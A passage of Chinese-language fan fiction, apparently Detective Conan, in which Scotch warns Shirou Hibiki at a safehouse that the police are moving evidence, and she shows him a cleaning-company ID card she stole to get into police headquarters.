没有星光,也没有晨光破晓的预兆。远处十字路口的红绿灯还在规律地闪烁,投来几缕微弱的光。 九月中旬的夜里已经有点凉了。 苏格兰的脚步声踏着黑暗而来,白羽响打开安全屋的门迎他进来时,看到他单薄的深色外套上沾着夜露。 “你走了很长的路?”白羽响随口问了一句。 “一小段。”苏格兰顺口答道。 这是天最黑、也最静的时候。连平日里叽叽喳喳的麻雀都还没醒,老旧水管里偶尔传来的滴水声,衬得这片住宅区一片死寂。 “出事了?”她关上了门问道。 从噩梦中惊醒的那十几分钟,她像从高空无措坠落;可此刻见到苏格兰,一颗悬着的心却骤然落地,仿佛稳稳着陆在了柔软的草地上。 明知任务出了状况,她现在心里却异常安宁。 “警方要将那份物证要转移去研究院。”苏格兰言简意赅,“我们动手的地点可能要变更。而且,时间很紧,后天就要动手。” “那是好事啊!”白羽响的眼睛亮了亮,语气难掩轻快,“路上动手,难度可比潜入警视厅小多了。” 转移物证,这多半是从内部传出来的消息。苏格兰之前的猜测没错,警方内部有组织的人。 苏格兰的神色微微一顿,显然是没想到她会给出这样的反应。 他还以为,对于一个新人来说,这种具有危险性的任务,会希望计划越周全越好,最好就是按部就班,不出乱子。在过来传递这个消息之前,他甚至做好了最坏的准备——万一她不肯配合,自己还要临时想其他的办法。 “怎么?”白羽响问道,“难道……你在担心这个任务?” 他并非担心任务,而是担心她难以适应突发状况。 不过这话苏格兰没有说出口,他思考了几秒说道:“还是得想办法潜入警视厅。我们至少要知道是哪辆车负责送物证。” 白羽响忽然露出一抹明媚的笑意:“那这件事就交给我了。” 说着,她转身打开一旁的抽屉,指尖勾住一根细带,缓缓向外抽出——带子的尽头,是一张印着保洁公司logo的工作卡。 “今天打工的地方要我独自看店,多得了一个上午的假期。”她晃了晃手里的工作卡,眼底闪着狡黠的光,“就趁这功夫,我从保洁公司后门潜进去,顺了这张卡。” 看到她眼里的光亮与毫无怯意的笑容,苏格兰的嘴角几不可察地向上弯了弯。那弧度极淡,却像一缕微光,划破了他平日里沉稳内敛的模样。 白羽响的目光牢牢锁住那一点点柔软的弧度,心头不知不觉突然泛起一丝难以言喻的难过。 这是与苏格兰重逢以来,她第一次看到他笑。 她绝对不会让他有后顾之忧。